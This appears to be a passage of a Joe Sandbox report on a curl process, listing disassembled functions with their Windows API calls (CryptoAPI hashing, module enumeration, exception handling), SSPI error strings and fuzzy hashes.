Instruction Fuzzy Hash: 6F21E671A40608FBEB21AF94DC4AF9EBBB9FB04700F184165B604F60A0E7709A55DBA5

Function 008AF860 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37encryptionCOMMON

Download Yara Rule

APIs

CryptGetHashParam.ADVAPI32(?,00000002,00000000,00000000,00000000,?,00000000,?,?,008AF8EB,?,?,?,?,008A9C33,00000000), ref: 008AF879
CryptGetHashParam.ADVAPI32(?,00000002,?,00000020,00000000,?,?,008AF8EB,?,?,?,?,008A9C33,00000000,?), ref: 008AF892
CryptDestroyHash.ADVAPI32(?,?,?,008AF8EB,?,?,?,?,008A9C33,00000000,?), ref: 008AF8A0
CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,008AF8EB,?,?,?,?,008A9C33,00000000,?), ref: 008AF8AD

Strings

, xrefs: 008AF87F

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: Crypt$Hash$Param$ContextDestroyRelease
String ID:
API String ID: 2110207923-3916222277
Opcode ID: 2e09ff7fda8ae5dce00229cfb46249445d2cd914571b01932e2bd6c2b1090418
Instruction ID: 5fc562b82de8088ae2c5eb7dc22cdfdb38b9c4c0398534013cba379099c43a5d
Opcode Fuzzy Hash: 2e09ff7fda8ae5dce00229cfb46249445d2cd914571b01932e2bd6c2b1090418
Instruction Fuzzy Hash: ECF0F935400A08FFEB31AF85DD09E9BBBB9FB85B11B508179F945A2460D3715E41EB90

Function 0086310D Relevance: 7.6, APIs: 5, Instructions: 59processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.API-MS-WIN-CORE-TOOLHELP-L1-1-0(00000008,00000000), ref: 00863148
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00863155
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000), ref: 0086316F
Module32First.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-2(00000000,00000224), ref: 0086318D
Module32Next.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-2(00000000,00000224), ref: 008631B2

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: Module32$CloseCreateErrorFirstHandleLastNextSnapshotToolhelp32
String ID:
API String ID: 3822340588-0
Opcode ID: 1c614a55fe0c5f4a42b6cfb1d8246119a347aecda2a767a70fa4c55d2456e703
Instruction ID: 98aff891fa6e555f7f413dc5e9f7c6bec55f4ad2ec7de3e67ed3baa60c8caaec
Opcode Fuzzy Hash: 1c614a55fe0c5f4a42b6cfb1d8246119a347aecda2a767a70fa4c55d2456e703
Instruction Fuzzy Hash: 15110E31601218ABD721ABB9AC4DBAF77A9FB86320F050364F915D31D0EF70CF458A62

Function 008B155B Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 008B1567
IsDebuggerPresent.KERNEL32 ref: 008B1633
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 008B1653
UnhandledExceptionFilter.KERNEL32(?), ref: 008B165D

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 2681b248c99c7cd38b12233a58e6cfabab4f0db71b48b566f48058aae86b1981
Instruction ID: 5ed5ae287b18235daaa3952bd47d466e80d0f8393ff05420c44e56830487e29c
Opcode Fuzzy Hash: 2681b248c99c7cd38b12233a58e6cfabab4f0db71b48b566f48058aae86b1981
Instruction Fuzzy Hash: DF311AB5D056189BDF20EF64D9897CCBBB8FF04300F10419AE40DAB250EB715A85CF45

Function 008AC750 Relevance: 6.0, APIs: 4, Instructions: 37encryptionCOMMON

Download Yara Rule

APIs

CryptGetHashParam.ADVAPI32(?,00000002,00000000,?,00000000), ref: 008AC769
CryptGetHashParam.ADVAPI32(00000010,00000002,?,00000010,00000000), ref: 008AC782
CryptDestroyHash.ADVAPI32(00000010), ref: 008AC790
CryptReleaseContext.ADVAPI32(?,00000000), ref: 008AC79D

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: Crypt$Hash$Param$ContextDestroyRelease
String ID:
API String ID: 2110207923-0
Opcode ID: 2db4a3f485903204210ca8c0527f1096b3145d719bfeeaa894266327c6233b1a
Instruction ID: 72ebaed4885684218051e46a2c051b439a4e7ad65078028899751305fd8d6547
Opcode Fuzzy Hash: 2db4a3f485903204210ca8c0527f1096b3145d719bfeeaa894266327c6233b1a
Instruction Fuzzy Hash: ABF04935400A08FFEB219F49DD09D9BBBB9FB81B01B508128F556A2460C3319E41EB90

Function 008A6400 Relevance: 4.5, APIs: 3, Instructions: 37encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 008A6417
CryptGenRandom.ADVAPI32(?,?,?), ref: 008A6430
CryptReleaseContext.ADVAPI32(?,00000000), ref: 008A6445

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: 40200b7e2f1c746a553c9bf60beec46faca2aa527e7a4b879170fa3fa188813e
Instruction ID: 88352ad7e2e107d65de26ba87320a558db99bd516dfebbe9b45a2765f4ac11fe
Opcode Fuzzy Hash: 40200b7e2f1c746a553c9bf60beec46faca2aa527e7a4b879170fa3fa188813e
Instruction Fuzzy Hash: C7F05E72600548FBEB319B56DD0EF9B7F78FB89B50F144114F605E6064E6708910E795

Function 008AC6E0 Relevance: 4.5, APIs: 3, Instructions: 35encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,F0000040,00000000,754C0130,?,008AC800,00000000), ref: 008AC6F4
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000004,?,008AC800,00000000), ref: 008AC710
CryptReleaseContext.ADVAPI32(00000000,00000000,?,008AC800,00000000), ref: 008AC71D

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: Crypt$Context$AcquireCreateHashRelease
String ID:
API String ID: 4045725610-0
Opcode ID: 96df3dda9054c3aa7bf5f9515de3e9998d9ff50f763401d1041cdc38f3393eb3
Instruction ID: ff1b71464306324b9a5ee6ae56c6a699649dba1beac7e2a207591cfb58362b91
Opcode Fuzzy Hash: 96df3dda9054c3aa7bf5f9515de3e9998d9ff50f763401d1041cdc38f3393eb3
Instruction Fuzzy Hash: 16F03931200648FAFB306B6BEC0CF977FACFBC6B90B100429F645D5460EB61A9019AA4

Function 0087A9B3 Relevance: 4.1, APIs: 2, Instructions: 1557COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcfdaf01c36738080dc595fb3c802af0ec7ac3a850a58622f5fe5ef8645ff187
Instruction ID: 3a45703c9e27e47e1bcf74a9e80e3c7369a06a689e0d2d5ae0f5578557521d7d
Opcode Fuzzy Hash: bcfdaf01c36738080dc595fb3c802af0ec7ac3a850a58622f5fe5ef8645ff187
Instruction Fuzzy Hash: F2D23935604205DFCB1ACE68C584AA83BA2FB85354F18C1B9E80ECF75ED731DA40DB66

Function 008AF820 Relevance: 3.0, APIs: 2, Instructions: 26encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000040,?,?,?,008AF8CD,?,00000000,?,00000000,?,?,008A9C33), ref: 008AF834
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?,?,008AF8CD,?,00000000,?,00000000,?,?,008A9C33,?), ref: 008AF84B

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: Crypt$AcquireContextCreateHash
String ID:
API String ID: 1914063823-0
Opcode ID: 82c5bdbcedd7b01bb8eb1ea50d782fdca10543d4ec36f14e8fa1be2470d95338
Instruction ID: ec2cc0f62c2bbe7a8496cc55be218ea9117ce03bb1228cc382db0254b11430f0
Opcode Fuzzy Hash: 82c5bdbcedd7b01bb8eb1ea50d782fdca10543d4ec36f14e8fa1be2470d95338
Instruction Fuzzy Hash: 86E0EC36240A98BBF7306AA7DC08E977FACFBC6B50B004029FB49D6451DA61A501C7B5

Function 008B137A Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 008B1390

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: fdeb7f8b436e816350de60b7ee0966ceb3bc463584330f3216c0033fc95f6241
Instruction ID: 4ce845b604900d8b28382d1ad44f57f243d8c3036a68a319d420d78a9cb4f72f
Opcode Fuzzy Hash: fdeb7f8b436e816350de60b7ee0966ceb3bc463584330f3216c0033fc95f6241
Instruction Fuzzy Hash: 71517FB1A006058BEB29CF59E8A5BEAB7F2FB48314F54843AD505EB352D3749900CF64

Function 008AC730 Relevance: 1.5, APIs: 1, Instructions: 10encryptionCOMMON

Download Yara Rule

APIs

CryptHashData.ADVAPI32(?,00000000,008A9C33,00000000,?,008AF8E1,?,?,008A9C33,00000000,?,00000000,?,?,008A9C33,?), ref: 008AC741

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: CryptDataHash
String ID:
API String ID: 4245837645-0
Opcode ID: adb28e010eb9c6d103e1ac4313d30c46f54a79b4fde9dc84c25c4fe6b0ab9b19
Instruction ID: 5fdc43dd21008919e49cefcde1d21dc34874137f456691d9d6e27351ce64c0b6
Opcode Fuzzy Hash: adb28e010eb9c6d103e1ac4313d30c46f54a79b4fde9dc84c25c4fe6b0ab9b19
Instruction Fuzzy Hash: FCC0023614460CABCF015F84DC05F997BA9BB08711F048050BA1C4A571C772E5609B84

Function 008B16BE Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000516D0,008B11D5), ref: 008B16C3

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: fbfde730294aece8fa695d2485dda8d0c78aa8c924ff119662e7c6cb8315a9f1
Instruction ID: a2563c84812f660c9e68582e4e796d65b8788ea9e2b032bc9fc6c21d39bca48e
Opcode Fuzzy Hash: fbfde730294aece8fa695d2485dda8d0c78aa8c924ff119662e7c6cb8315a9f1
Instruction Fuzzy Hash:

Function 008B33B0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 78a50b2bf41a33c6e6e97b2459417984ddd06d0392d3e8fb04d819813145c2a9
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 60112B7730018243D606CA2DD4B45FBA796FBEA32072D437AD042CB758DA23EB459908

Function 0087A216 Relevance: 161.3, APIs: 7, Strings: 85, Instructions: 271stringCOMMON

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000), ref: 0087A230
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A238
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 0087A62C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A63C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A64C
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087A654
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 0087A65F

Strings

SEC_E_TIME_SKEW, xrefs: 0087A4CF
SEC_E_INSUFFICIENT_MEMORY, xrefs: 0087A335
SEC_E_MAX_REFERRALS_EXCEEDED, xrefs: 0087A3B7
SEC_E_CERT_EXPIRED, xrefs: 0087A2B3
SEC_E_NO_IMPERSONATION, xrefs: 0087A3FD
SEC_I_COMPLETE_AND_CONTINUE, xrefs: 0087A562
SEC_E_MULTIPLE_ACCOUNTS, xrefs: 0087A3CB
SEC_E_UNKNOWN_CREDENTIALS, xrefs: 0087A4ED
SEC_E_BAD_PKGID, xrefs: 0087A28B
SEC_E_INVALID_PARAMETER, xrefs: 0087A353
SEC_E_NO_IP_ADDRESSES, xrefs: 0087A407
SEC_E_MUST_BE_KDC, xrefs: 0087A3D5
SEC_E_KDC_CERT_EXPIRED, xrefs: 0087A37B
SEC_E_UNTRUSTED_ROOT, xrefs: 0087A50B
SEC_E_KDC_CERT_REVOKED, xrefs: 0087A385
SEC_E_CERT_UNKNOWN, xrefs: 0087A2BD
%s (0x%08X), xrefs: 0087A5D9
SEC_E_SMARTCARD_LOGON_REQUIRED, xrefs: 0087A4B1
SEC_E_SECURITY_QOS_FAILED, xrefs: 0087A489
SEC_E_STRONG_CRYPTO_NOT_SUPPORTED, xrefs: 0087A4BB
0Lu@Ru@/Mu, xrefs: 0087A238, 0087A63C, 0087A64C
SEC_E_ISSUING_CA_UNTRUSTED_KDC, xrefs: 0087A371
SEC_E_UNFINISHED_CONTEXT_DELETED, xrefs: 0087A4E3
SEC_E_UNSUPPORTED_PREAUTH, xrefs: 0087A501
SEC_E_INCOMPLETE_CREDENTIALS, xrefs: 0087A321
SEC_E_MESSAGE_ALTERED, xrefs: 0087A3C1
SEC_E_NOT_OWNER, xrefs: 0087A3DF
SEC_E_CERT_WRONG_USAGE, xrefs: 0087A2C7
SEC_E_SHUTDOWN_IN_PROGRESS, xrefs: 0087A493
SEC_E_OUT_OF_SEQUENCE, xrefs: 0087A439
SEC_I_NO_LSA_CONTEXT, xrefs: 0087A5C4
SEC_E_DELEGATION_POLICY, xrefs: 0087A2F9
SEC_E_WRONG_CREDENTIAL_HANDLE, xrefs: 0087A515
Unknown error, xrefs: 0087A59E
SEC_I_CONTINUE_NEEDED, xrefs: 0087A570
SEC_E_ENCRYPT_FAILURE, xrefs: 0087A317
SEC_E_KDC_UNKNOWN_ETYPE, xrefs: 0087A3A3
SEC_E_NO_S4U_PROT_SUPPORT, xrefs: 0087A425
SEC_E_CRYPTO_SYSTEM_INVALID, xrefs: 0087A2E5
SEC_E_DECRYPT_FAILURE, xrefs: 0087A2EF
SEC_E_KDC_INVALID_REQUEST, xrefs: 0087A38F
SEC_E_ALGORITHM_MISMATCH, xrefs: 0087A277
SEC_E_NO_KERB_KEY, xrefs: 0087A411
SEC_E_CONTEXT_EXPIRED, xrefs: 0087A2D1
SEC_E_NO_PA_DATA, xrefs: 0087A41B
SEC_E_TOO_MANY_PRINCIPALS, xrefs: 0087A4D9
SEC_E_DELEGATION_REQUIRED, xrefs: 0087A303
No error, xrefs: 0087A577
SEC_E_ISSUING_CA_UNTRUSTED, xrefs: 0087A367
SEC_E_NO_CREDENTIALS, xrefs: 0087A3F3
SEC_I_COMPLETE_NEEDED, xrefs: 0087A569
SEC_I_INCOMPLETE_CREDENTIALS, xrefs: 0087A5D2
SEC_I_LOCAL_LOGON, xrefs: 0087A55B
SEC_E_NO_AUTHENTICATING_AUTHORITY, xrefs: 0087A3E9
SEC_E_LOGON_DENIED, xrefs: 0087A3AD
%s - %s, xrefs: 0087A60D
SEC_E_KDC_UNABLE_TO_REFER, xrefs: 0087A399
SEC_I_CONTEXT_EXPIRED, xrefs: 0087A57E
SEC_E_REVOCATION_OFFLINE_KDC, xrefs: 0087A475
SEC_E_SMARTCARD_CERT_REVOKED, xrefs: 0087A4A7
SEC_E_SECPKG_NOT_FOUND, xrefs: 0087A47F
SEC_I_SIGNATURE_NEEDED, xrefs: 0087A5BD
SEC_E_UNSUPPORTED_FUNCTION, xrefs: 0087A4F7
SEC_E_TARGET_UNKNOWN, xrefs: 0087A4C5
SEC_E_INVALID_HANDLE, xrefs: 0087A349
SEC_E_CANNOT_PACK, xrefs: 0087A2A9
SEC_E_PKINIT_CLIENT_FAILURE, xrefs: 0087A443
SEC_E_BUFFER_TOO_SMALL, xrefs: 0087A295
SEC_I_RENEGOTIATE, xrefs: 0087A5CB, 0087A5D8
SEC_E_CANNOT_INSTALL, xrefs: 0087A29F
SEC_E_SMARTCARD_CERT_EXPIRED, xrefs: 0087A49D
SEC_E_INTERNAL_ERROR, xrefs: 0087A33F
SEC_E_WRONG_PRINCIPAL, xrefs: 0087A51F
SEC_E_BAD_BINDINGS, xrefs: 0087A281
SEC_E_POLICY_NLTM_ONLY, xrefs: 0087A457
SEC_E_INCOMPLETE_MESSAGE, xrefs: 0087A32B
SEC_E_NO_TGT_REPLY, xrefs: 0087A42F
CRYPT_E_REVOKED, xrefs: 0087A529
SEC_E_DOWNGRADE_DETECTED, xrefs: 0087A30D
SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log., xrefs: 0087A5A8
SEC_E_INVALID_TOKEN, xrefs: 0087A35D
SEC_E_CROSSREALM_DELEGATION_FAILURE, xrefs: 0087A2DB
SEC_E_PKINIT_NAME_MISMATCH, xrefs: 0087A44D
SEC_E_QOP_NOT_SUPPORTED, xrefs: 0087A461
SEC_E_REVOCATION_OFFLINE_C, xrefs: 0087A46B

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ErrorLast_errno$strncpy
String ID: %s (0x%08X)$%s - %s$0Lu@Ru@/Mu$CRYPT_E_REVOKED$No error$SEC_E_ALGORITHM_MISMATCH$SEC_E_BAD_BINDINGS$SEC_E_BAD_PKGID$SEC_E_BUFFER_TOO_SMALL$SEC_E_CANNOT_INSTALL$SEC_E_CANNOT_PACK$SEC_E_CERT_EXPIRED$SEC_E_CERT_UNKNOWN$SEC_E_CERT_WRONG_USAGE$SEC_E_CONTEXT_EXPIRED$SEC_E_CROSSREALM_DELEGATION_FAILURE$SEC_E_CRYPTO_SYSTEM_INVALID$SEC_E_DECRYPT_FAILURE$SEC_E_DELEGATION_POLICY$SEC_E_DELEGATION_REQUIRED$SEC_E_DOWNGRADE_DETECTED$SEC_E_ENCRYPT_FAILURE$SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log.$SEC_E_INCOMPLETE_CREDENTIALS$SEC_E_INCOMPLETE_MESSAGE$SEC_E_INSUFFICIENT_MEMORY$SEC_E_INTERNAL_ERROR$SEC_E_INVALID_HANDLE$SEC_E_INVALID_PARAMETER$SEC_E_INVALID_TOKEN$SEC_E_ISSUING_CA_UNTRUSTED$SEC_E_ISSUING_CA_UNTRUSTED_KDC$SEC_E_KDC_CERT_EXPIRED$SEC_E_KDC_CERT_REVOKED$SEC_E_KDC_INVALID_REQUEST$SEC_E_KDC_UNABLE_TO_REFER$SEC_E_KDC_UNKNOWN_ETYPE$SEC_E_LOGON_DENIED$SEC_E_MAX_REFERRALS_EXCEEDED$SEC_E_MESSAGE_ALTERED$SEC_E_MULTIPLE_ACCOUNTS$SEC_E_MUST_BE_KDC$SEC_E_NOT_OWNER$SEC_E_NO_AUTHENTICATING_AUTHORITY$SEC_E_NO_CREDENTIALS$SEC_E_NO_IMPERSONATION$SEC_E_NO_IP_ADDRESSES$SEC_E_NO_KERB_KEY$SEC_E_NO_PA_DATA$SEC_E_NO_S4U_PROT_SUPPORT$SEC_E_NO_TGT_REPLY$SEC_E_OUT_OF_SEQUENCE$SEC_E_PKINIT_CLIENT_FAILURE$SEC_E_PKINIT_NAME_MISMATCH$SEC_E_POLICY_NLTM_ONLY$SEC_E_QOP_NOT_SUPPORTED$SEC_E_REVOCATION_OFFLINE_C$SEC_E_REVOCATION_OFFLINE_KDC$SEC_E_SECPKG_NOT_FOUND$SEC_E_SECURITY_QOS_FAILED$SEC_E_SHUTDOWN_IN_PROGRESS$SEC_E_SMARTCARD_CERT_EXPIRED$SEC_E_SMARTCARD_CERT_REVOKED$SEC_E_SMARTCARD_LOGON_REQUIRED$SEC_E_STRONG_CRYPTO_NOT_SUPPORTED$SEC_E_TARGET_UNKNOWN$SEC_E_TIME_SKEW$SEC_E_TOO_MANY_PRINCIPALS$SEC_E_UNFINISHED_CONTEXT_DELETED$SEC_E_UNKNOWN_CREDENTIALS$SEC_E_UNSUPPORTED_FUNCTION$SEC_E_UNSUPPORTED_PREAUTH$SEC_E_UNTRUSTED_ROOT$SEC_E_WRONG_CREDENTIAL_HANDLE$SEC_E_WRONG_PRINCIPAL$SEC_I_COMPLETE_AND_CONTINUE$SEC_I_COMPLETE_NEEDED$SEC_I_CONTEXT_EXPIRED$SEC_I_CONTINUE_NEEDED$SEC_I_INCOMPLETE_CREDENTIALS$SEC_I_LOCAL_LOGON$SEC_I_NO_LSA_CONTEXT$SEC_I_RENEGOTIATE$SEC_I_SIGNATURE_NEEDED$Unknown error
API String ID: 4135170618-2555483005
Opcode ID: 8abfe76655f0a76bb3c432388d7f1e6e3d37d61006f04415a9db3a0957b90ed2
Instruction ID: 776b8f883dd33918423fe3e955410e839ce98a4b9750157529fa456c95fa7d3a
Opcode Fuzzy Hash: 8abfe76655f0a76bb3c432388d7f1e6e3d37d61006f04415a9db3a0957b90ed2
Instruction Fuzzy Hash: 3881DC2060C68C97831C07E859A4F6D6774F7D430CB24D22AB70ADEB48D931CE8ABB13

Function 0086245C Relevance: 95.3, APIs: 76, Instructions: 282COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862464
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862472
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086247E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086248A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862496

Part of subcall function 00870E10: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00863167), ref: 00870E2C
